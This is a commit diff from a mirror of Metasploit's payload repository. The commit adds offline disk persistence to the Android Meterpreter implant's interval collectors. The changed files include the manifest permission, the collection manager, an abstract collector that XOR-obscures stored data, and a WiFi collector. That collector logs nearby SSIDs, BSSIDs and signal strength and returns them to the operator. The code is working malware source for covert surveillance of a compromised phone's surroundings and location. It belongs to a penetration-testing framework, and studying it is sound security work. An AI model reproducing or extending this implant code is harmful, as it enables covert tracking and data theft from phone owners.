mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-26 17:41:08 +01:00
Add support for writing to storage, and restarting
This commit adds support for simple writing to disk functioanlity. It means that the collectors can continue to collect and write to disk while offline, and if they stop, they can restart and regather information stored on disk. These files are removed when the application is removed, so the content doesn't survive new installations of the payload.
This commit is contained in:
parent
567ffadf5a
commit
726bc5b721
@ -23,6 +23,7 @@
|
||||
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
|
||||
<uses-permission android:name="android.permission.CAMERA" />
|
||||
<uses-permission android:name="android.permission.READ_SMS" />
|
||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
|
||||
|
||||
<application
|
||||
android:label="@string/app_name" >
|
||||
|
@ -110,7 +110,7 @@ public class AndroidMeterpreter extends Meterpreter {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
this.intervalCollectionManager = new IntervalCollectionManager();
|
||||
this.intervalCollectionManager = new IntervalCollectionManager(getContext());
|
||||
this.intervalCollectionManager.start();
|
||||
startExecuting();
|
||||
this.intervalCollectionManager.stop();
|
||||
|
@ -1,18 +1,47 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.util.Enumeration;
|
||||
import java.util.Hashtable;
|
||||
|
||||
public class IntervalCollectionManager {
|
||||
|
||||
private static final int COLLECT_TYPE_WIFI = 1;
|
||||
|
||||
private final Context context;
|
||||
private final Hashtable<Integer, IntervalCollector> collectors;
|
||||
|
||||
public IntervalCollectionManager() {
|
||||
public IntervalCollectionManager(Context context) {
|
||||
this.context = context;
|
||||
this.collectors = new Hashtable<Integer, IntervalCollector>();
|
||||
}
|
||||
|
||||
public boolean createCollector(int type, long timeout) {
|
||||
IntervalCollector collector = this.getCollector(type);
|
||||
|
||||
if (collector == null) {
|
||||
switch (type) {
|
||||
case COLLECT_TYPE_WIFI: {
|
||||
collector = new WifiCollector(COLLECT_TYPE_WIFI, this.context, timeout);
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (collector != null) {
|
||||
this.addCollector(type, collector);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public void start() {
|
||||
// TODO: go through storage and see what is
|
||||
// currently in progress
|
||||
loadExistingCollectors();
|
||||
|
||||
Enumeration ids = this.collectors.keys();
|
||||
|
||||
@ -21,6 +50,17 @@ public class IntervalCollectionManager {
|
||||
}
|
||||
}
|
||||
|
||||
private void loadExistingCollectors() {
|
||||
IntervalCollector collector = null;
|
||||
|
||||
collector = new WifiCollector(COLLECT_TYPE_WIFI, this.context);
|
||||
if (collector.loadFromDisk()) {
|
||||
this.collectors.put(COLLECT_TYPE_WIFI, collector);
|
||||
}
|
||||
|
||||
// more collection types will go here.
|
||||
}
|
||||
|
||||
public void addCollector(int id, IntervalCollector collector) {
|
||||
this.collectors.put(id, collector);
|
||||
collector.start();
|
@ -0,0 +1,197 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
import java.util.concurrent.ArrayBlockingQueue;
|
||||
import java.util.concurrent.BlockingQueue;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import java.util.List;
|
||||
import java.util.Random;
|
||||
|
||||
public abstract class IntervalCollector {
|
||||
protected final int collectorId;
|
||||
protected final Context context;
|
||||
protected long timeout;
|
||||
|
||||
private final Random random;
|
||||
private boolean isCollecting;
|
||||
private Thread thread;
|
||||
private BlockingQueue queue;
|
||||
|
||||
private class IntervalRunner implements Runnable { private final IntervalCollector collector;
|
||||
|
||||
public IntervalRunner(IntervalCollector collector) {
|
||||
this.collector = collector;
|
||||
}
|
||||
|
||||
public void run() {
|
||||
this.collector.threadFunc();
|
||||
}
|
||||
}
|
||||
|
||||
protected IntervalCollector(int collectorId, Context context, long timeout) {
|
||||
this.collectorId = collectorId;
|
||||
this.context = context;
|
||||
this.random = new Random();
|
||||
this.timeout = timeout;
|
||||
|
||||
// use an array blocking queue of length 1, which is used
|
||||
// as a mechanism to stop the processing if required.
|
||||
this.queue = new ArrayBlockingQueue(1);
|
||||
}
|
||||
|
||||
protected IntervalCollector(int collectorId, Context context) {
|
||||
this.collectorId = collectorId;
|
||||
this.context = context;
|
||||
this.random = new Random();
|
||||
|
||||
// use an array blocking queue of length 1, which is used
|
||||
// as a mechanism to stop the processing if required.
|
||||
this.queue = new ArrayBlockingQueue(1);
|
||||
}
|
||||
|
||||
private void writeToDisk(ByteArrayOutputStream bytes) {
|
||||
byte[] content = bytes.toByteArray();
|
||||
byte[] rnd = new byte[1];
|
||||
this.random.nextBytes(rnd);
|
||||
|
||||
for (int i = 0; i < content.length; ++i) {
|
||||
content[i] = (byte)(content[i] ^ rnd[0]);
|
||||
}
|
||||
|
||||
try {
|
||||
FileOutputStream outStream = this.context.openFileOutput(this.fileName(), Context.MODE_PRIVATE);
|
||||
outStream.write(rnd);
|
||||
outStream.write(content);
|
||||
outStream.close();
|
||||
}
|
||||
catch (IOException e) {
|
||||
// we failed, move on.
|
||||
}
|
||||
}
|
||||
|
||||
public boolean loadFromDisk() {
|
||||
try {
|
||||
FileInputStream fileStream = this.context.openFileInput(this.fileName());
|
||||
byte xor = (byte)fileStream.read();
|
||||
byte[] buffer = new byte[1024];
|
||||
int bytesRead = 0;
|
||||
ByteArrayOutputStream memStream = new ByteArrayOutputStream();
|
||||
|
||||
while (true) {
|
||||
bytesRead = fileStream.read(buffer, 0, buffer.length);
|
||||
if (bytesRead == -1) {
|
||||
break;
|
||||
}
|
||||
|
||||
for (int i = 0; i < bytesRead; ++i) {
|
||||
buffer[i] = (byte)(buffer[i] ^ xor);
|
||||
}
|
||||
memStream.write(buffer);
|
||||
}
|
||||
|
||||
byte[] content = memStream.toByteArray();
|
||||
|
||||
DataInputStream inputStream = new DataInputStream(new ByteArrayInputStream(content));
|
||||
this.loadFromMemory(inputStream);
|
||||
inputStream.close();
|
||||
return true;
|
||||
}
|
||||
catch (IOException e) {
|
||||
// we failed, move on.
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private void threadFunc() {
|
||||
boolean firstRun = true;
|
||||
this.init();
|
||||
this.isCollecting = true;
|
||||
|
||||
while (this.isRunning()) {
|
||||
try {
|
||||
if (firstRun || this.queue.poll(this.timeout, TimeUnit.SECONDS) == null) {
|
||||
firstRun = false;
|
||||
// timeout occured and nothing was in the queue, so process
|
||||
// the collection
|
||||
if (this.isCollecting) {
|
||||
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
|
||||
DataOutputStream output = new DataOutputStream(bytes);
|
||||
if (this.collect(output)) {
|
||||
this.writeToDisk(bytes);
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
// something was put in the queue, which is our signal to finish
|
||||
this.thread = null;
|
||||
}
|
||||
}
|
||||
catch (IOException e) {
|
||||
// failed to read "stuff" from file, so delete the file
|
||||
// and move on
|
||||
// TODO: delete file
|
||||
}
|
||||
catch (InterruptedException e) {
|
||||
// something went wrong, so bail out.
|
||||
this.thread = null;
|
||||
}
|
||||
}
|
||||
this.deinit();
|
||||
}
|
||||
|
||||
public void start() {
|
||||
this.thread = new Thread(new IntervalRunner(this));
|
||||
this.thread.start();
|
||||
}
|
||||
|
||||
public void pause() {
|
||||
this.isCollecting = false;
|
||||
}
|
||||
|
||||
public void resume() {
|
||||
this.isCollecting = true;
|
||||
}
|
||||
|
||||
public void stop() {
|
||||
// we add an element to the queue, as this is how we
|
||||
// simulate the signal for exiting
|
||||
this.queue.add(new Object());
|
||||
}
|
||||
|
||||
public boolean dump(TLVPacket packet) {
|
||||
if (flush(packet)) {
|
||||
this.context.deleteFile(this.fileName());
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public boolean isRunning() {
|
||||
return this.thread != null;
|
||||
}
|
||||
|
||||
protected long getTimeout() {
|
||||
return this.timeout;
|
||||
}
|
||||
|
||||
private String fileName() {
|
||||
return "" + this.collectorId;
|
||||
}
|
||||
|
||||
protected abstract boolean collect(DataOutputStream output) throws IOException;
|
||||
protected abstract void init();
|
||||
protected abstract void deinit();
|
||||
protected abstract boolean flush(TLVPacket packet);
|
||||
protected abstract void loadFromMemory(DataInputStream input) throws IOException;
|
||||
}
|
||||
|
@ -12,9 +12,12 @@ import android.net.wifi.WifiManager;
|
||||
|
||||
import com.metasploit.meterpreter.android.interval_collect;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
import java.lang.InterruptedException;
|
||||
import java.lang.Math;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collections;
|
||||
@ -22,12 +25,53 @@ import java.util.List;
|
||||
import java.util.Hashtable;
|
||||
|
||||
public class WifiCollector extends IntervalCollector {
|
||||
private final Context context;
|
||||
private final Object syncObject = new Object();
|
||||
|
||||
private Hashtable<Long, List<ScanResult>> collections = null;
|
||||
private Hashtable<Long, List<WifiResult>> collections = null;
|
||||
private WifiReceiver receiver = null;
|
||||
|
||||
private class WifiResult {
|
||||
private final String bssid;
|
||||
private final String ssid;
|
||||
private final int level;
|
||||
|
||||
public WifiResult(String bssid, String ssid, int level) {
|
||||
this.bssid = bssid;
|
||||
this.ssid = ssid;
|
||||
this.level = level;
|
||||
}
|
||||
|
||||
public WifiResult(ScanResult result) {
|
||||
this.bssid = result.BSSID;
|
||||
this.ssid = result.SSID;
|
||||
this.level = result.level;
|
||||
}
|
||||
|
||||
public WifiResult(DataInputStream input) throws IOException {
|
||||
this.bssid = input.readUTF();
|
||||
this.ssid = input.readUTF();
|
||||
this.level = input.readShort();
|
||||
}
|
||||
|
||||
public void write(DataOutputStream output) throws IOException {
|
||||
output.writeUTF(this.bssid);
|
||||
output.writeUTF(this.ssid);
|
||||
output.writeShort(this.level);
|
||||
}
|
||||
|
||||
public String getBssid() {
|
||||
return this.bssid;
|
||||
}
|
||||
|
||||
public String getSsid() {
|
||||
return this.ssid;
|
||||
}
|
||||
|
||||
public int getLevel() {
|
||||
return this.level;
|
||||
}
|
||||
}
|
||||
|
||||
private class WifiReceiver extends BroadcastReceiver {
|
||||
|
||||
private final Context context;
|
||||
@ -93,38 +137,78 @@ public class WifiCollector extends IntervalCollector {
|
||||
}
|
||||
}
|
||||
|
||||
public WifiCollector(long timeout, Context context) {
|
||||
super(timeout);
|
||||
this.context = context;
|
||||
this.collections = new Hashtable<Long, List<ScanResult>>();
|
||||
public WifiCollector(int collectorId, Context context, long timeout) {
|
||||
super(collectorId, context, timeout);
|
||||
this.collections = new Hashtable<Long, List<WifiResult>>();
|
||||
}
|
||||
|
||||
public WifiCollector(int collectorId, Context context) {
|
||||
super(collectorId, context);
|
||||
this.collections = new Hashtable<Long, List<WifiResult>>();
|
||||
}
|
||||
|
||||
protected boolean collect(DataOutputStream output) throws IOException {
|
||||
List<ScanResult> scanResults = this.receiver.runScan();
|
||||
if (scanResults != null) {
|
||||
List<WifiResult> results = new ArrayList<WifiResult>();
|
||||
for (ScanResult scanResult : scanResults) {
|
||||
results.add(new WifiResult(scanResult));
|
||||
}
|
||||
|
||||
public void collect() {
|
||||
List<ScanResult> results = this.receiver.runScan();
|
||||
if (results != null) {
|
||||
synchronized (this.syncObject) {
|
||||
this.collections.put(System.currentTimeMillis(), results);
|
||||
|
||||
// collect requires the result to be the serialised version of
|
||||
// the collection data so that it can be written to disk
|
||||
output.writeLong(this.timeout);
|
||||
output.writeInt(this.collections.size());
|
||||
for (Long ts : this.collections.keySet()) {
|
||||
results = this.collections.get(ts.longValue());
|
||||
output.writeLong(ts.longValue());
|
||||
output.writeInt(results.size());
|
||||
for (WifiResult wifiResult : results) {
|
||||
wifiResult.write(output);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void init() {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
protected void loadFromMemory(DataInputStream input) throws IOException {
|
||||
this.timeout = input.readLong();
|
||||
int collectionCount = input.readInt();
|
||||
for (int i = 0; i < collectionCount; ++i) {
|
||||
long ts = input.readLong();
|
||||
int resultCount = input.readInt();
|
||||
List<WifiResult> results = new ArrayList<WifiResult>();
|
||||
for (int j = 0; j < resultCount; ++j) {
|
||||
results.add(new WifiResult(input));
|
||||
}
|
||||
this.collections.put(ts, results);
|
||||
}
|
||||
}
|
||||
|
||||
protected void init() {
|
||||
if (this.receiver == null) {
|
||||
this.receiver = new WifiReceiver(this.context, this.getTimeout());
|
||||
}
|
||||
}
|
||||
|
||||
public void deinit() {
|
||||
protected void deinit() {
|
||||
this.receiver = null;
|
||||
}
|
||||
|
||||
public boolean dump(TLVPacket packet) {
|
||||
Hashtable<Long, List<ScanResult>> collections = this.collections;
|
||||
public boolean flush(TLVPacket packet) {
|
||||
Hashtable<Long, List<WifiResult>> collections = this.collections;
|
||||
|
||||
synchronized (this.syncObject) {
|
||||
// create a new collection, for use on the other thread
|
||||
// if it's running
|
||||
this.collections = new Hashtable<Long, List<ScanResult>>();
|
||||
this.collections = new Hashtable<Long, List<WifiResult>>();
|
||||
}
|
||||
|
||||
List<Long> sortedKeys = new ArrayList<Long>(collections.keySet());
|
||||
@ -132,7 +216,7 @@ public class WifiCollector extends IntervalCollector {
|
||||
|
||||
for (Long ts : sortedKeys) {
|
||||
long timestamp = ts.longValue();
|
||||
List<ScanResult> scanResults = collections.get(timestamp);
|
||||
List<WifiResult> scanResults = collections.get(timestamp);
|
||||
|
||||
TLVPacket resultSet = new TLVPacket();
|
||||
|
||||
@ -144,13 +228,14 @@ public class WifiCollector extends IntervalCollector {
|
||||
}
|
||||
|
||||
for (int i = 0; i < scanResults.size(); ++i) {
|
||||
ScanResult result = scanResults.get(i);
|
||||
WifiResult result = scanResults.get(i);
|
||||
TLVPacket wifiSet = new TLVPacket();
|
||||
|
||||
try {
|
||||
wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_SSID, result.SSID);
|
||||
wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_BSSID, result.BSSID);
|
||||
wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL, result.level);
|
||||
wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_SSID, result.getSsid());
|
||||
wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_BSSID, result.getBssid());
|
||||
// level is negative, but it'll be converted to positive on the flip side.
|
||||
wifiSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL, Math.abs(result.getLevel()));
|
||||
|
||||
resultSet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI, wifiSet);
|
||||
}
|
||||
|
@ -20,8 +20,6 @@ public class interval_collect implements Command {
|
||||
private static final int COLLECT_ACTION_STOP = 4;
|
||||
private static final int COLLECT_ACTION_DUMP = 5;
|
||||
|
||||
private static final int COLLECT_TYPE_WIFI = 1;
|
||||
|
||||
public static final int TLV_TYPE_COLLECT_TYPE = TLVPacket.TLV_META_TYPE_UINT
|
||||
| (TLV_EXTENSIONS + 9050);
|
||||
public static final int TLV_TYPE_COLLECT_ACTION = TLVPacket.TLV_META_TYPE_UINT
|
||||
@ -52,7 +50,7 @@ public class interval_collect implements Command {
|
||||
|
||||
switch (action) {
|
||||
case COLLECT_ACTION_START: {
|
||||
result = this.startNew(manager, met.getContext(), request);
|
||||
result = this.startNew(manager, request);
|
||||
break;
|
||||
}
|
||||
case COLLECT_ACTION_PAUSE: {
|
||||
@ -88,31 +86,11 @@ public class interval_collect implements Command {
|
||||
return result ? ERROR_SUCCESS: ERROR_FAILURE;
|
||||
}
|
||||
|
||||
private boolean startNew(IntervalCollectionManager manager, Context context, TLVPacket request) {
|
||||
private boolean startNew(IntervalCollectionManager manager, TLVPacket request) {
|
||||
int type = request.getIntValue(TLV_TYPE_COLLECT_TYPE);
|
||||
if (manager.getCollector(type) != null) {
|
||||
return false;
|
||||
}
|
||||
|
||||
long timeout = (long)request.getIntValue(TLV_TYPE_COLLECT_TIMEOUT);
|
||||
IntervalCollector collector = null;
|
||||
|
||||
switch (type) {
|
||||
case COLLECT_TYPE_WIFI: {
|
||||
collector = new WifiCollector(timeout, context);
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (collector != null) {
|
||||
manager.addCollector(type, collector);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
return manager.createCollector(type, timeout);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -1,93 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.util.concurrent.ArrayBlockingQueue;
|
||||
import java.util.concurrent.BlockingQueue;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import java.util.List;
|
||||
|
||||
public abstract class IntervalCollector {
|
||||
private long timeout;
|
||||
private boolean isCollecting;
|
||||
private Thread thread;
|
||||
private BlockingQueue queue;
|
||||
|
||||
private class IntervalRunner implements Runnable {
|
||||
private final IntervalCollector collector;
|
||||
|
||||
public IntervalRunner(IntervalCollector collector) {
|
||||
this.collector = collector;
|
||||
}
|
||||
|
||||
public void run() {
|
||||
this.collector.threadFunc();
|
||||
}
|
||||
}
|
||||
|
||||
protected IntervalCollector(long timeout) {
|
||||
this.timeout = timeout;
|
||||
|
||||
// use an array blocking queue of length 1, which is used
|
||||
// as a mechanism to stop the processing if required.
|
||||
this.queue = new ArrayBlockingQueue(1);
|
||||
}
|
||||
|
||||
private void threadFunc() {
|
||||
this.init();
|
||||
this.isCollecting = true;
|
||||
|
||||
while (this.isRunning()) {
|
||||
try {
|
||||
if (this.queue.poll(this.timeout, TimeUnit.SECONDS) == null) {
|
||||
// timeout occured and nothing was in the queue, so process
|
||||
// the collection
|
||||
if (this.isCollecting) {
|
||||
this.collect();
|
||||
}
|
||||
}
|
||||
else {
|
||||
// something was put in the queue, which is our signal to finish
|
||||
this.thread = null;
|
||||
}
|
||||
}
|
||||
catch (InterruptedException e) {
|
||||
// something went wrong, so bail out.
|
||||
this.thread = null;
|
||||
}
|
||||
}
|
||||
this.deinit();
|
||||
}
|
||||
|
||||
public void start() {
|
||||
this.thread = new Thread(new IntervalRunner(this));
|
||||
this.thread.start();
|
||||
}
|
||||
|
||||
public void pause() {
|
||||
this.isCollecting = false;
|
||||
}
|
||||
|
||||
public void resume() {
|
||||
this.isCollecting = true;
|
||||
}
|
||||
|
||||
public void stop() {
|
||||
// we add an element to the queue, as this is how we
|
||||
// simulate the signal for exiting
|
||||
this.queue.add(new Object());
|
||||
}
|
||||
|
||||
public abstract boolean dump(TLVPacket packet);
|
||||
|
||||
public boolean isRunning() {
|
||||
return this.thread != null;
|
||||
}
|
||||
|
||||
protected long getTimeout() {
|
||||
return this.timeout;
|
||||
}
|
||||
|
||||
protected abstract void collect();
|
||||
protected abstract void init();
|
||||
protected abstract void deinit();
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user